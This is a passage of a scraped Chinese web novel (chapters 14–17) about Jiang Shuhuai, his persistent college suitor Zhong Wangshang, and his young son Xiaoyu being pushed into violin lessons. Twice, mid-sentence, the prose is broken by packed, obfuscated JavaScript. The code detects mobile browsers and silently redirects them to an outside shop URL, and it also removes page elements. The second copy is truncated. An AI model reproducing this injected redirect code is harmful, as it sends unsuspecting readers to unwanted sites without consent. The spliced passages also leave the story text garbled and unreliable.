厨房里,江舒淮想起第一次和钟忘熵正式见面的场景。 江舒淮和钟忘熵在恋爱这个离谱谣言传开后,江舒淮总算是见到了钟忘熵。 咖啡店里,江舒淮看着钟忘熵的打扮,没想到对方喝杯咖啡也穿的这么正式,但这次江舒淮主要是想和他说一下谣言的事情,便道:“不知道这么莫名其妙的谣言是谁传出来的,我尝试着查过,但根本查不出来源头,只希望这些谣言没有给你带来困扰,咱们之后还是正常的同学关系。” 江舒淮没注意到,他说出这些话的时候,对面钟忘熵眼中全是困惑,仿佛遇到了什么世纪大难题,而后又变成了不敢相信。 江舒淮说完,抬头看向钟忘熵的瞬间,钟忘熵又恢复了面无表情的样子。 钟忘熵没什么情绪的语气:“没关系的,我不在意这些。” 江舒淮松了口气:“那就好,我就怕这些谣言给你带来不好的困扰。” 钟忘熵眼中带着心虚:“那这些……给你带来了不好的困扰吗?” 江舒淮温和地笑了笑:“没有,我也不在意这些。” 钟忘熵眼中瞬间充满了失落,江舒淮为什么不在意呢,是不喜欢他所以才不在意吗? 江舒淮只把这次当成和同学的普通聊天,顺便澄清谣言,但他没想到的是,从此之后,他总能在各种地方遇到钟忘熵,两人之间好像非常有缘分。 兴趣小组里,钟忘熵不参与讨论,不和人说话,唯独见到江舒淮的时候,眼睛亮的吓人,只要有江舒淮在的地方,钟忘熵必定形影不离跟着江舒淮。 江舒淮好不容易澄清的谣言,一时之间再次四散开来。 14. 第 14 章 为了制止谣言,江舒淮不得不在那段时间里,尝试着躲避钟忘熵。 但他很快就发现,这位同学根本就躲不掉。 江舒淮作为学生会的成员,被部长要求跟进一个讲座的行程安排。 而当江舒淮联系上讲座的企业家的沟通负责人时,发现竟然是钟忘熵。 俩人不得不再次见面,江舒淮还有一点尴尬,要是以前,他还能说那些话都是谣言,但这段时间钟忘熵的态度已经表明了一切。 而且不止江舒淮看出来了,只要是个人都看出来了钟忘熵的企图:他对江舒淮感兴趣。 虽然钟忘熵的长相罕见的在江舒淮审美点上,但江舒淮暂时没有开启一段感情的打算,便想着冷处理这段关系,但没想到依旧无效。 刚一坐下,钟忘熵开门见山问道:“你这段时间是在躲着我吗?” 江舒淮犹豫许久后,还是点了点头,在不能给对方同等回应之前,切断对方的一切幻想,才是他应该做的。 钟忘熵的眼中闪过受伤和委屈,导致江舒淮怀疑自己这些话是不是说的太过分了。 但钟忘熵的下一句话就是:“你为什么要躲我?” 成年人应该点到为止,但钟忘熵偏偏要打破砂锅问到底,江舒淮只能试图转移话题:“我们还是讨论一下讲座的事情吧。” 钟忘熵却不想讨论没意思的讲座,似乎也是在超级不经意间展示自己的能力:“那些没什么好讨论的,我已经全部搞定了。” 江舒淮:“既然这样,那我就先走了。” 钟忘熵急忙改了口:“还是讨论讨论……吧。” 江舒淮没忍住笑了一下,又很快收起笑容来。 钟忘熵拿出一堆资料放到江舒淮面前:“这是那些人的资料,你随便看。” 江舒淮翻看着资料,这次讲座上请到的那些企业家,全都是行业内数一数二,很难请到的人,钟忘熵却凭借一己之力把他们聚集在一起,而地点仅仅是一个学校小小的讲座。 这让江舒淮不得不猜测,钟忘熵并不是普通人。 江舒淮看过之后,将一些东西一一记录下来。 期间,一股火热的视线一直聚集在他的身上,让江舒淮想忽视都难。 江舒淮只能装作没有感觉到,快速整理好东西,把这些资料还给钟忘熵:“今天谢谢你了。” “不客气,有什么需要随时找我。”钟忘熵依依不舍地看着江舒淮走远。 讲座期间,两人配合默契,最终完美呈现,江舒淮打心里高兴。 结束的时候,那些企业家们都过来跟钟忘熵打招呼,钟忘熵却在第一时间随着江舒淮走了。 江舒淮走了许久,才发现身后有一个人,他转身,似乎带着疑惑:“还有什么事情吗?” 钟忘熵:“我想跟你一起走。” “不是特别顺路。”江舒淮找出理由来。 钟忘熵却执拗地要跟江舒淮一起走,还理直气壮地说:“我在追求你,所以不顺路也没关系。” 江舒淮不知道说什么,他从来没有见过追求人还这么理直气壮的人。 很快,江舒淮就知道还是他见识的太少了。 钟忘熵从方方面面侵入了他的生活之中,甚至不知道用了什么办法,和他搬到了一个宿舍。 然后,宿舍中的其他两人因为各种原因又搬了出去。 江舒淮不得不再次和他商量:“你不觉得你这些行为有些过分了吗?” 钟忘熵:“可是我在追求你呀!如果我不这么做的话,你被别人抢走了怎么办?” 江舒淮只能道:“我没打算现在这个时候谈恋爱。” 钟忘熵:“那你打算什么时候谈恋爱?我第一个排队好不好?” 江舒淮无奈的叹了口气,是真的没有办法了:“那你排着吧。” 就这么一句话,钟忘熵乐了,认定了自己是江舒淮的第一备胎。 从此,钟忘熵便理直气壮地,虎视眈眈地盯着江舒淮身边所有的人,但凡有一个敢对江舒淮表达出不轨心思的,都会收获钟忘熵带着警告的鄙夷的蔑视的目光。 有人好奇问:“他是江舒淮的男朋友吗?怎么这么大的占有欲?” 知情的人好笑地摇摇头:“不是哦,他自称是江舒淮的第一备胎。” “不是,这年头,备胎就可以这么嚣张了?” “谁知道呢?就怎么嚣张。” 米饭的香味让江舒淮回过神来,他关掉水龙头,快速开始炒菜。 也是这个时候,江舒淮打开了江小鱼带去学校的饭盒,发现里面干干净净的,一粒米都没剩。 江舒淮有些惊讶,不知道江小鱼是自己吃了,还是真喂了大黑狗了。 江舒淮不得不先回到卧室,摸了摸江小鱼的肚子,发现不鼓才松了口气。 “怎么了爸爸?”江小鱼乖乖的由着江舒淮摸他的肚子。 “小鱼,中午的饭你带去幼儿园吃了多少?”江舒淮问道。 江小鱼:“我就吃了一点点,剩下的全部都给别人吃了。” 江舒淮:“别人是谁?” “就是我们幼儿园的那条大黑狗!”江小鱼随口就来。 江舒淮知道没撑到江小鱼就行,他摸了摸江小鱼的头发:“作业写完了吗?” 江小鱼点了点头,现在的幼儿园作业对他来说非常简单,写起来不费吹灰之力。 江舒淮简单检查了一番,给江小鱼收好:“小鱼真棒,洗洗手,出来吃饭了。” 饭桌上全部都是江小鱼爱吃的,江小鱼忍不住想起中午的时候,钟忘熵因为吃到爸爸做的饭而红了眼睛。 江小鱼想,他现在能天天吃到爸爸做的饭,真的是太幸福了! 吃完饭之后,江小鱼看着床头柜上的日历,掰着手指头开始数,连江舒淮进来都没发现:“在干什么呢,小鱼?” 江小鱼扭头,见是江舒淮,拿着日历就跑到了他面前:“爸爸,你相信我吗?” 江舒淮点了点头:“当然相信了。” “这一天,甜品店可以不开门吗?”江小鱼的小短手指在日历上的一个日期。 “能告诉爸爸为什么吗?”江舒淮问。 “就是这一天,可能会发生一些不好的事情,但爸爸放心,我已经找到解决的办法了,肯定能够保护爸爸!”江小鱼表情从难过变成肯定。 因为江小鱼这话,江舒淮莫名想起江小鱼开学第二天他们看到的场景。 莫非是因为那件事情,甜品店里会有麻烦? 但江小鱼这么小,又怎么会知道这么多?不过店里少开一天也没关系,以防万一,江舒淮答应了。 江小鱼偷偷跟保镖商量了很久,最后告诉爸爸,甜品店里一定要按照之前的一模一样,不能表现出当天想要歇店的心思。 江舒淮没想到江小鱼这么认真,他莫名地很相信江小鱼,点了点头:“都听小鱼的。” 第二日,江舒淮送江小鱼上学的时候,在楼道里碰到了他们的邻居,是一位非常瘦小的小姑娘,此刻手里却牵着一只极其难按住的比格,比格不断地往楼下想要跑。 小姑娘手里的牵引绳都快要牵不住了,只能发出无助的呐喊:“小黄!你等等妈妈!妈妈去拿个钥匙就带你下楼!别着急!” 小黄只顾往前窜,听不到一句话,还在不停地乱叫,以表示自己非常渴望出门的决心。 江小鱼急忙躲在江舒淮身后,有些害怕。 小姑娘更崩溃了:“我求求你你别叫了!一会儿把楼里的人都吵到了!” 看着小姑娘崩溃的神情,江舒淮停下脚步问道:“需要帮助吗?” 小姑娘猛点头。 就在她以为面前这位清瘦帅气的邻居要为他牵住牵引绳时,江舒淮蹲下身子。 江舒淮抬头:“建议我管制一下他吗?” 小姑娘摇了摇头。 下一秒,江舒淮的巴掌朝着小黄的脑袋拍去,他控制好了力度,懵狗不伤脑,而几乎是同一时间,小黄奇迹般的安静了下来。 一番操作,看呆了小姑娘和江小鱼两个人。 小姑娘眼睛都亮了:“哥哥,你刚才是怎么做到的?教教我!” 江舒淮笑了下:“没什么技巧,多打几次你就掌握好力度了。” 小姑娘快速地牵着小黄到了房间拿到钥匙出门,小黄全程都安安静静的。 而一出门,小黄立马又恢复了本性,牵着小姑娘就往前跑。 小姑娘再次发出绝望的呐喊:“你怎么立马就变成这个样子了!能不能再乖一会儿啊!能不能一直乖下去呀!” 等到筋疲力尽的时候,看着还精力旺盛的小黄,小姑娘想起江舒淮的方法,伸手在狗脑上拍了一下,结果毫无作用。 小黄还以为是在跟他玩儿,转过来开心地蹭小姑娘的腿。 小姑娘只能再次加重了一些力气,但这次小黄委委屈屈地蹭着小姑娘的腿,仿佛受了天大的委屈。 小姑娘更加不解了,所以刚才那个男人是怎么做的?一巴掌就让狗安静了呢?莫非真的是打多了就掌握技巧了? 路上,江小鱼脑子中还全是江舒淮那个干净利落的巴掌。 江小鱼心中全是庆幸,幸好爸爸没有这么打过他。 不过,为什么爸爸打狗会这么熟练呢? 把江小鱼送到幼儿园后,江舒淮跟他挥手告别。 一进门,江小鱼就撞上了钟忘熵,吓了江小鱼一跳。 幸好钟忘熵刚才没有往外看,不然就真看到爸爸了。 不知道钟忘熵要是知道爸爸还活着,是什么反应? 但大人们之间的事情,尤其是感情事,江小鱼决定不插手。 钟忘熵似乎略微嫌弃地看了一眼江小鱼的黄色衣服,提出要求:“等下跟我一起去公司。” “我不想去……”江小鱼话还没有说完,钟忘熵就已经提出了诱惑,“你可以玩一上午的平板。” 江小鱼立马改口:“我想去!” 钟忘熵的办公室里,江小鱼是第二次来。 这一次,他被安置到了沙发上,手里拿着一个平板。 江小鱼想把他还没看完的那部重生短剧看了,但怎么找都找不到。 江小鱼最后只能点开他最爱的《海绵宝宝》。 “派大星,我们一起去抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643391|188162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水母吧——” 江小鱼咯咯笑个不停,而钟忘熵脑子里,全部都是那极具魔性的海绵宝宝的声音。 钟忘熵揉了揉额头。秘书进来送咖啡的时候,见到的就是这样一番场景:一个四岁左右的小孩翘着小脚躺在他们钟总的沙发上,开心地抱着平板“咯咯”乐个不停。而他们一向事情贼多、要求贼严、有洁癖、连噪音都听不了的钟总,此刻坐在沙发上捂着耳朵,似乎还有些委屈,却依旧一句话都没说,任那个小孩子继续看。 秘书忍不住想,这小孩子到底什么来头啊?可惜他也不敢乱看乱打听,给钟忘熵放好咖啡后,便离开了办公室。 出来后,秘书组的人忍不住八卦: “听说钟总今天带了一个小孩子过来?” “你刚才看清楚那小孩子了吗?” “没有看清。” “他们两个在里面干嘛呀?” “钟总在里面工作,那个小孩子在里面看《海绵宝宝》,还公放声音!” 所有人都倒吸了一口冷气:“钟总什么反应?” “钟总选择捂住耳朵都不制止。” 所有人再次齐齐倒吸了一口冷气。 “不是,这小孩到底什么来头呀?钟总对他这么溺爱?” “不知道啊。” “不过这样也挺好的,这小孩在,钟总都显得脾气正常了许多。” 钟忘熵抬头看了一眼江小鱼,很想让对方把声音调小一点,但想起今天是自己非要拉着他过来的,一切应该以江小鱼的需求为主,便没有提这句话。 可是魔性的声音不断在钟忘熵耳朵里徘徊,导致在跨国会议上,对方用着一口流利的英伦腔汇报方案的时候,钟忘熵听着不满意。 钟忘熵思考片刻,终于知道是哪里不满意了,他提出要求:“请用海绵宝宝的声线汇报。” 他这话一说,所有人都觉得自己听错了。 就在有下属想要找补的时候,钟忘熵再次重复了一遍:“请用海绵宝宝的声线汇报方案。” 怕对方不知道海绵宝宝的声线是什么,钟忘熵随机挑了一个钟氏的员工,让他给对方高管展示一下。 钟氏集团的人结结巴巴地道:“嗨,派大星,我们一起去抓水母吧——” 所有人都极其沉默了。 但在钟忘熵的坚持要求下,对方用着奇怪的海绵宝宝英语腔调做了汇报。 所有人都面目扭曲地听着对方的汇报,唯独钟忘熵满意地点了点头:“很好。” 会议结束之后,钟氏所有人都默契的假装什么都没有发生,毕竟钟总这么抽象的行为也不是一次两次的了,慢慢的大家也就习惯了。 只不过大家没想到,钟总也会有这么童趣的时候,竟然还看《海绵宝宝》。 人群散去之后,钟忘熵从会议室回到办公室,发现抱着平板的小孩已经睡着了,平板放在胸前的位置上,肚子敞开着。 钟忘熵眉头狠狠皱起,走过去,拿过平板放到旁边的位置,找了一块毛毯盖住江小鱼的小肚脐。 看着江小鱼的长相,钟忘熵仔细打量着,隔空描摹,心想:舒淮小时候原来是长这个样子的,真可爱! 江小鱼醒来的时候,面对的就是这样一双黑沉的眼睛,吓了他一跳。 待看清是钟忘熵后,江小鱼才拍了拍胸口:“你刚才在吓我干什么?” 钟忘熵:“我没有想吓你。” 江小鱼:“但是你刚才那个样子就是很吓人呢。” 钟忘熵:“我只是在看你睡觉。” 江小鱼:“你为什么在看我睡觉?” 钟忘熵觉得江小鱼简直就是十万个为什么:“你睡着了,我就看你了。” 江小鱼知道这个问题不能再争论了,他无法得知结果结果,便识趣的闭上了嘴。 钟忘熵继续道:“你现在的睡眠姿势很差,睡眠习惯也不好。” 江小鱼疑惑地看着他。 “算了,这个一时之间也改不了。” 江小鱼还没来得及松一口气,钟忘熵接着道,“但有一些习惯很好改,我已经让人去请了几位老师过来,等会儿你先跟着他们上课,纠正一下你的体态,然后学习一下钢琴和小提琴。” 江小鱼久久没缓过神来:“我为什么要学那些东西?” 钟忘熵:“这些东西,都是你之前会的。” 江小鱼反应过来,这是爸爸会的。 江小鱼:“可是我现在还这么小,学不了那么多东西的。” 钟忘熵:“慢慢学,我又不要求你一下子就学完。” “我不想学!”江小鱼理直气壮地道。 他还那么小,等到他上了小学之后,爸爸就会给他报各种兴趣班,让他选自己喜欢的上,他现在只是一个幼儿园的小孩子呀,为什么现在就要开始学了?江小鱼不服。 谁知钟忘熵却露出一个残酷无比的笑容来:“这可由不得你。” 就在江小鱼不知道钟忘熵在搞什么鬼的时候,钟忘熵拿出当时江小鱼签的那份合同来,冷笑道:“你还记得你签的合同吗?” 江小鱼傻眼了,他是签了什么不得了的东西吗? 15. 第 15 章 钟氏集团法务部人员绞尽脑汁,尽量用着四岁小孩子能听懂的话术,给江小鱼讲解他签订的那份合同的合理性。 迎着江小鱼单纯的大眼睛,法务部人员几次想要心虚扭头,又生生克制住,太罪恶了,骗一个这么单纯的小孩子真的是太罪恶了! 江小鱼听了许久,都没什么概念,直到法务部人员把合同上那串违约金给他看。 江小鱼只看得到合同上好多个零,他用手指数了好几遍,才勉强说得清楚是十一位数。 尽管对钱没多大的概念,但江小鱼也知道,这是一个非常非常大的数字。 他扭头去看钟忘熵,钟忘熵别过头不和他对视,仿佛这样,骗人签合同的就不是他了。 江小鱼气呼呼地走到钟忘熵面前,叉着腰。 他是信任钟忘熵才毫不犹豫地签下了这份合同,结果钟忘熵竟然利用他的信任,让他签了这种合同! 太过分了! 江小鱼感受到了背叛,猛地冲向钟忘熵。 钟忘熵手快地扶住江小鱼的头,没让他撞上来:“你只要履行合同,我不会让你赔付违约金的。” 他竟然真的想让自己赔那么多钱,江小鱼瘪了瘪嘴,终究是没忍住:“我要回家,我不要在这里了,我要回家!” 说完,眼泪就开始掉,嚎的声音也变大。 法务部工作人员急忙蹲下身,想给江小鱼擦眼泪,江小鱼挣脱开来。 钟忘熵早已有经验,快速往耳朵里塞了两个耳塞,又给秘书打电话,让所有家里有小孩的秘书和助理全过来。 办公室里,十几个人围着江小鱼,有拿玩具的,有想给擦脸的,有想抱着哄的,有模仿奥特曼的,有夹嗓子学海绵宝宝声线的,还有讲笑话的,但江小鱼就跟一条滑不溜秋的鱼似的,谁也抓不住,也跟倔倔的驴似的,谁的话也不听。 王守成也过来想哄人,结果被江小鱼指着:“你也是骗子!” 王守成十分心虚,尽管他不知道江小鱼具体指的是什么,但把江小鱼带到自己这个脑子有病的老板面前,确实是他干的。 而自己这个脑子有病的老板,已经不知道气哭小孩多少次了。 眼下所有人都手足无措,谁也不知道小孩怎么哭得这么伤心。 唯独知道所有事情的法务部工作人员悄悄叹了口气,他觉得江小鱼哭得对,就该好好哭一哭,让钟总知道这件事情自己做得有多离谱,钟总这不是明晃晃欺负小孩吗? 直到钟忘熵拿出合同来,指了指上面好多个零的数字,江小鱼愤怒的看着钟忘熵,钟忘熵闭上眼睛装没看到,江小鱼这才勉强停下了哭声。 钟忘熵挥挥手,其他所有人立马跑出去,办公室里只剩下他和江小鱼。 钟忘熵摘下耳塞来,蹲下身,抽了张抽纸,有些笨拙地给江小鱼擦了擦眼泪。 江小鱼抽噎着,推开钟忘熵的手,抢过纸巾自己擦。 钟忘熵也没想到会是如今这个局面,小孩子的心理承受能力果然脆弱,他只能试图跟江小鱼讲道理:“你慢慢学就行,我又不要求你一下子就学会。” 江小鱼带着重重的鼻音:“可是你好过分呢,你没跟我说要赔那么多钱!” 钟忘熵:“那我跟你道歉。” 江小鱼红肿的眼睛眨了眨,觉得有希望:“你都道歉了,我就勉强原谅你吧,那……那份合同可以扔了吗?” 钟忘熵:“不可以。” 江小鱼:“为什么呀?” 钟忘熵垂下眼睛:“我怕你又突然消失不见了。” 江小鱼竟然从钟忘熵身上看到了痛苦和伤心,他没有想到是因为这个原因,他跟钟忘熵保证:“我不会消失不见的。” 钟忘熵:“我相信你。” 江小鱼:“那合同……” 钟忘熵:“不会扔的。” 父子俩极限拉扯,最后是江小鱼败下阵来,气呼呼的:“不扔就不扔!” 钟忘熵:“只要你保证你不会突然消失,违约金就不会让你赔的。” 江小鱼还红肿着的大眼睛看他:“那如果我不想学你刚才说的那些东西呢?” 钟忘熵想了想:“那我酌情让你赔,让你少赔一点吧。” 眼看着江小鱼又要瘪嘴,钟忘熵急忙道:“你今天只要学一门课,我今天就不让你赔。” 江小鱼只能非常不情愿地答应:“那好吧。” 钟忘熵重重地松了口气,给秘书部打了个电话。 很快,钟氏集团来了几位教小提琴的老师。 但凡有一个行业内的人就能认得出来,这几位老师全部都是世界级国宝顶尖大师,如今却全部凑在一起,为一个四岁的小孩启蒙。 几位老师进门之前,秘书小声跟他们交代:“钟总今天喜欢海绵宝宝的声线,你们说话的时候,尽量用海绵宝宝的声线讲话。” 几位老师当场傻了眼,面面相觑,他们从教这么多年,还是第一次听见这个要求。 海绵宝宝的声线? 但是看在钟总给的钱格外高的份上,他们也只能按照要求行事。 进门之后,钟忘熵简单说了一下要求,便把江小鱼交给几位老师。 江小鱼虽然不情不愿,但面对老师生来就有的尊重还是有的:“老师们好。” 几位学声乐的老师变换起声线来易如反掌,一个个清了清嗓子,跟江小鱼打招呼:“小朋友你好呀——” 江小鱼捂住了耳朵,他怎么感觉海绵宝宝跑出来了?还是好多个海绵宝宝,有女海绵宝宝、男海绵宝宝、老海绵宝宝和烟嗓海绵宝宝。 老师们夹着嗓子和江小鱼说话,江小鱼新奇的眼神不断的落在几位老师身上,看得几位老师也有些汗颜,但想起这是钟总的要求,他们也只能继续用这种声线说话。 有老师好奇地看了正在处理文件的钟忘熵一眼。 他们正在教导江小鱼小提琴的基础入门知识,不可避免会产生一定的声音。 老师们在刚开始教江小鱼时,就提过找一个安静的地方,好单独地放开了声音教,可惜被钟忘熵拒绝了,钟忘熵让他们就在办公室里教。 只见不管他们这边发出什么动静,钟忘熵一直在不动声色地处理文件。 “钟总果然定力非凡。”几位老师不约而同的在心里发出感慨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小电驴后座上,江小鱼搂着江舒淮的腰,没忍住跟他抱怨:“爸爸,你说怎么有的人又讨厌,又没那么讨厌啊?” 江舒淮从江小鱼的话中猜测:“小鱼是遇到新朋友了吗?” 想了想钟忘熵也算是朋友吧,江小鱼点了点头:“嗯,他有时候很过分,有时候对我也挺好的。” 过分?江舒淮很喜欢听江小鱼讲幼儿园趣事,也直觉大概不是他理解的那个“过分”,便问:“他对你做了什么过分的事情啊?” 江小鱼愤愤道:“他利用我的信任,骗了我,还逼着我,让我学一些我不想学的东西。” 听着这话,江舒淮把江小鱼这位朋友的目标锁定在了老师身上,他故意道:“这么过分啊,不过小鱼不想学的话,可以拒绝他呀。” 江小鱼:“我拒绝了,但没用,不过后来我发现,学起来还挺好玩的。” 江舒淮循循善诱:“那现在小鱼还想学吗?” 江小鱼:“有一点点想了。” 江舒淮笑了:“小鱼喜欢这个朋友吗?” “也就……一点点喜欢吧。”江小鱼哼了一声道。 16. 第 16 章 江舒淮从儿子的话里听出来:“看来这个朋友对小鱼很重要。” 江小鱼告状:“但是他有的时候真的很讨厌。” 江舒淮想了想:“小鱼,这世界上没有完美的人,每个人或多或少的都会有些缺点,这时候你就要看,是你喜欢他多一点,还是讨厌他多一点。” 江小鱼只听到了前半句,很认真地跟江舒淮道:“有的,爸爸就是完美的人!” 江舒淮没忍住笑了:“谢谢小鱼,在爸爸心中,小鱼也是最完美的小孩。” 江小鱼听见这话,脚丫子都要翘到天上去了,滴溜溜转个不停。 被爸爸抱下来后,江小鱼还嘿嘿笑了两声。 江舒淮牵着江小鱼的手:“小鱼还没说,对这个新朋友,是喜欢他多一点,还是讨厌他多一点?” 江小鱼认真想了想:“喜欢吧……他帮了我一个很大很大的忙!” 江舒淮:“那你有没有谢谢人家呀?” “当然有啦!就是因为他帮了我大忙,我才被他骗了,哼哼,他嘴巴还特别坏,不会讲话!”江小鱼说着,又哼哼了两声。 江舒淮被逗笑了:“小鱼能告诉爸爸你这个好朋友是谁吗?” 江小鱼晃了晃和江舒淮牵着的手,讨好道:“我现在还不能告诉爸爸。” 江舒淮:“好吧,那就等小鱼愿意的时候,再告诉爸爸吧。” 江小鱼猛猛点了点头。 父子俩牵着手走到了家门口,就看到了一人一狗。 小姑娘露出一个讨好的笑容来:“江哥,能麻烦你一件事吗?” 邻里邻居的,顺手的事情,江舒淮能帮便帮,他温和的笑了下:“你说。” 小姑娘扯出一个笑脸来:“江哥,早上的时候,你到底是怎么做到让小黄这么听话的呀?今天一天我试了好几次,没一次能把它搞安静。” 似乎是为了响应小姑娘的话,小黄开始“嗷嗷嗷”的乱叫,同时四只脚丫子开始往各个方向乱刨。 楼道里的不多灰尘,几乎都被这小狗扑的飞了起来。 眼看着小狗立马要冲上天了,迎着小姑娘期待的眼神,江舒淮举起巴掌。 不知道是不是小狗还认得他这个动作,几乎是一瞬,小狗突然停止了叫声和动作,安静地趴下,乖得不能再乖。 小姑娘和江小鱼再次齐齐傻了眼。 这次不仅小姑娘缠着江舒淮问秘诀,江小鱼也扒拉着江舒淮的裤子:“爸爸,你到底怎么做到的?好厉害呀!” 小姑娘也眼睛亮晶晶地看他。 江舒淮:“……” 他自然是多次尝试后实验出来的。 自从钟忘熵搬进江舒淮的宿舍之后,便开始以江舒淮准男友的身份自居。 江舒淮一般懒得跟他计较,再加上钟忘熵这一举动帮他挡掉了百分之九十九的烂桃花,江舒淮便也就由着他去了。 有一次,钟忘熵没拿睡衣从宿舍卫生间出来,发现江舒淮超不经意地看了他的八块腹肌好几眼后,钟忘熵顿悟了。 从此,钟忘熵恨不得在宿舍光着身子跑。 江舒淮看不下去,提醒过他两次,丝毫没有效果。 就在江舒淮再次看到钟忘熵穿着四角内裤在宿舍晃悠之后,江舒淮深呼吸几下:“钟忘熵,就算宿舍只有我们两个人,你也要尊重我一下吧,你现在像什么样子。” 钟忘熵理直气壮:“宿舍就我们两个人,我作为你未来男朋友,提前让你看看怎么了?” 江舒淮:“也不一定是未来男朋友。” 钟忘熵定定看他:“你说过会优先考虑我的。” 江舒淮深呼吸两口气:“我是说过这话,但是……” “没有但是。”钟忘熵上床,翻过身来背对着江舒淮,不再说话。 江舒淮看着钟忘熵的背影,想起这段日子,钟忘熵给他打水、买饭、占座、记笔记,还在他感冒发烧的时候照顾了他一整夜,更狠的话江舒淮也说不出来。 他想和钟忘熵说清楚,拉了椅子坐到了钟忘熵床边:“钟忘熵,我在大学期间没有恋爱的打算,如果到毕业的时候,你还没有恋爱,我们就在一起,但在此之前,你能不能……” 江舒淮话还没有说完,钟忘熵已经转过身坐起来,直接抓着江舒淮的手往自己八块腹肌上摸,不给他逃脱的机会:“既然四年之后我们注定要谈恋爱,你不想早点摸到吗?” 手下的肌肉结实紧韧,江舒淮的呼吸不由急促了几分。 钟忘熵语气诚恳:“我只是想要一个名分,其他的全部都听你的,你要是不愿意,我可以什么都不做。” 江舒淮终究是没抵住诱惑,点了点头。 却不知道从他点头的那一刻起,便上了钟忘熵的当。 谈恋爱之后,钟忘熵开始得意忘形,亲亲抱抱那是常有的事,日常恨不得整个人黏在江舒淮身上,连江舒淮去厕所都要跟着。 江舒淮不止一次后悔自己当时鬼迷心窍答应了和钟忘熵在一起,但在一起都在一起了,看在他是自己男朋友的份上,江舒淮忍了。 直到钟忘熵越来越过分,私下里动手动脚就算了,还在大庭广众之下搞小动作。 那是一次话剧社的排练,钟忘熵不知道发什么神经,在江舒淮和一位同学讨论着剧本的合理性时,钟忘熵挂在江舒淮后背上开始动手动脚,江舒淮忍了,只当他不存在。 但没一会儿,钟忘熵也加入了讨论之中,说话非要凑到江舒淮面前,离他特别近,就差直接亲上了。 江舒淮几次警告,钟忘熵都没有收敛。 在休息的空档,钟忘熵拉着江舒淮就走,江舒淮想跟他说清楚,便任由他拉着。 钟忘熵把江舒淮拉到空房间里,上来就开始亲。 江舒淮几次阻止,想要跟他讲道理,结果好不容易推开人,刚有一点呼吸的空档,还没喘匀两口气,钟忘熵的嘴便又牢牢地贴上来。 眼看着马上要到集合排练的时间了,江舒淮第一次被气到了,推也推不开人,掐人也没有用,把江舒淮差点气哭了。 钟忘熵察觉到不对,缓缓后退了几分。 看着江舒淮微红的眼角,钟忘熵更激动了,立马就要往前,还要亲。 也就是这个时候,江舒淮忍无可忍,一个巴掌甩到了钟忘熵脸上。 钟忘熵眼神立马变得清澈了,他急忙捧住江舒淮的脸:“怎么了,谁惹你不高兴了?我去揍他。” 江舒淮先给了钟忘熵肚子一拳:“你说谁惹我了?” 钟忘熵指着自己:“我吗?” 江舒淮定定地看着他。 许久,钟忘熵眼神开始乱瞟,低下头跟江舒淮道歉:“对不起,我刚才一时之间没有控制住自己。” “刚才到底怎么回事儿?你看着好像不清醒似的。”江舒淮察觉出一丝不对劲来。 钟忘熵:“没有啊,我就是犯浑了,特别想亲你,所以就没控制住。” 江舒淮勉强接受了这个说辞。 江舒淮:“那你刚才在外面,一直挨着我那么近干什么,大家都在忙正事,就你一个人……” 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钟忘熵摇头:“一点感觉都没有,你的手打我脸上,就跟羽毛飘我脸上似的,你手疼不疼?”钟忘熵捞起江舒淮的手亲了亲。 江舒淮不信:“脸上都有红印儿了,怎么可能不疼?” 钟忘熵得意:“这是我男朋友给我的专属印章!” 江舒淮被气笑了,眼看着马上到了集合的时间,叮嘱他:“一会儿在外面的时候注意一点,大家都在忙着自己的工作,你这个样子很不像样子。” 钟忘熵被训了,委屈得不行。 江舒淮好笑地凑上去轻轻亲了他一下:“其他的,等回到宿舍之后再说。” 钟忘熵眼睛立马亮了:“宿舍不隔音,我们今晚能不能去酒店?” 江舒淮:“……这个之后再说。” 江舒淮的顾忌是有原因的,在宿舍不隔音的情况下,钟忘熵还能保留着几分理智,但就这几分理智尚存的情况下,钟忘熵亲都快要把他亲死了。 这要是真到了酒店那种可以肆无忌惮的地方,江舒淮不知道自己还能不能挺过来。 所以对于最后一步,江舒淮迟迟没有松口。 而之后,江舒淮发现,每当钟忘熵有那些类似神经病一样的举动后,最有效的方法便是直接给他一巴掌,简单,直接,有效。 “爸爸!” 被江小鱼拽了拽裤腿,江舒淮从过去的记忆中抽离回来,但他也没有什么好的办法:“慢慢来,什么力度都试一试,总会能找到合适的。” 江舒淮蹲下身,摸了摸小狗的脑袋:“你以后乖乖听话,不要让你的主人担心你了。” 小狗不知道有没有听懂,但是应和地叫了两声。 小姑娘有点失望,但依然笑道:“谢谢江哥。” 然后对着小黄:“没关系的,不管你什么样我都会喜欢你的。” 本来是温情的一幕,但小姑娘突然开始崩溃,“但是我求求你不要再想着吃屎了,真的好臭!我好怕,你再这么下去,我就真的不爱你了!” 江舒淮摸着小黄脑袋的手一顿。 而此刻,小黄脑袋微转,眼瞅着嘴巴马上就要碰到江舒淮手了,江舒淮的手立马往上移了几分。 江小鱼小小地“呕”了一声,立马离开了小狗。 “没吃没吃!”小姑娘急忙解释,“我拉住它了,还好我拉住它了!” 江氏父子齐齐松了口气:“没吃就好,没吃就好!” 17. 第 17 章 回到家后,江舒淮还是洗了好几遍手,并在心里暗暗发誓,以后出门在外,再也不随便摸狗了。 江舒淮洗完手出来,发现江小鱼不在客厅。 他找到卧室,只见江小鱼整个人趴在床上,手里拿着床头柜上的那本日历,小小的脸上满是严肃,认认真真地圈出一个日期来,正是昨天江小鱼跟他说,不要开店的那个日子。 江小鱼是个忘性很大的人,所以能让他一直记得的日子,肯定是个特殊的日子。 江舒淮不知道那天会发生什么,也不知道江小鱼为什么这么紧张,但他选择相信自己儿子。 